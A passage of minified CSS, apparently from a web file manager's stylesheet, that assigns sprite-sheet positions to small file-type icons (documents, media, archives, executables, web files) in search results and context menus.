!important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-65px -13px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-png{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px 0 !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-accdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -624px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-csv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -608px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-doc{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -592px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-docm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -576px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-docx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -560px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-dot{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -544px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-dotm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -528px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-dotx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -512px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-epub{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -496px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-mdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -480px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-mht{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -464px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-mpp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -448px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-mpt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -432px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-msg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -416px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-odp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -400px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-ods{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -384px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-odt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -368px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-pdf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -352px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-pps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -336px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-ppsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -320px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-ppt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -304px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-pptx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -288px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-pst{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -272px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-pub{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -256px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-vcf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -240px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-vdw{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -224px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-vdx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -208px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-vsd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -192px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-vsdx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -176px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-vss{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -160px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-vst{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -144px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-vsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -128px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-vtx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -112px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-xls{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -96px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-xlsb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -80px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-xlsm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -64px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-xlsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -48px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-xlt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -32px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-xltx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -16px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-xps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px 0 !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-cab{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -240px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-cer{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -224px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-chm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -208px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-cmd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -192px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-dll{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -176px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-exe{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -160px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-fon{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -144px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-hlp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -128px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-ini{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -112px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-lnk{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -96px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-msi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -80px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-ps1{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -64px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-reg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -48px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-rtf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -32px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-txt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -16px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-vbs{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px 0 !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-3gp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -160px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-avi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -144px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-flv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -128px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-m4v{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -112px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-mkv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -96px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-mov{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -80px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-mp4{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -64px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-mpg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -48px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-ogg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -32px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-webm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -16px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-wmv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px 0 !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-asax{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -176px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-ascx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -160px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-ashx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -144px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-asmx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -128px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-aspx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -112px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-config{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -96px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-cshtml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -80px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-swf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -16px !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-xap{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px 0 !important;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-php{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-size:auto;background-position:-1px -1px !important;background-image:url("../../../images/file_icon/icon_file/php_small.png");}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-txt,.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-textile,.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-inc,.do-search-box .search-result .file-item .file-info .file-icon .x-item-file.x-log{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-size:auto;background-position:-1px -1px !important;background-image:url("../../../images/file_icon/icon_file/txt_small.png");}.context-menu-list .context-menu-item .font-icon.x-item-file.x-7z{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -160px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-bz2{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -144px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-dmg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -128px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-gz{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -112px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-iso{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -96px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-jar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -80px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-pkg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -64px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-rar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -48px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-sitx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -32px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-tar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -16px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-zip{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 0 !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-aac{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -80px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-m4a{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -64px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-midi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -48px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-mp3{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -32px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-wav{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -16px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-wma{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px 0 !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-3ds{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -192px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-ai{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -176px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-as{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -160px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-cdr{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -144px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-dwg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -128px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-dxf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -112px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-eps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -96px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-fla{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -80px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-indd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -64px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-prproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -48px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-psb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -32px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-psd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -16px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-pspimage{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px 0 !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-c{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -320px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-cpp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -304px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-cs{position:relative;width:16px !important;height:16px 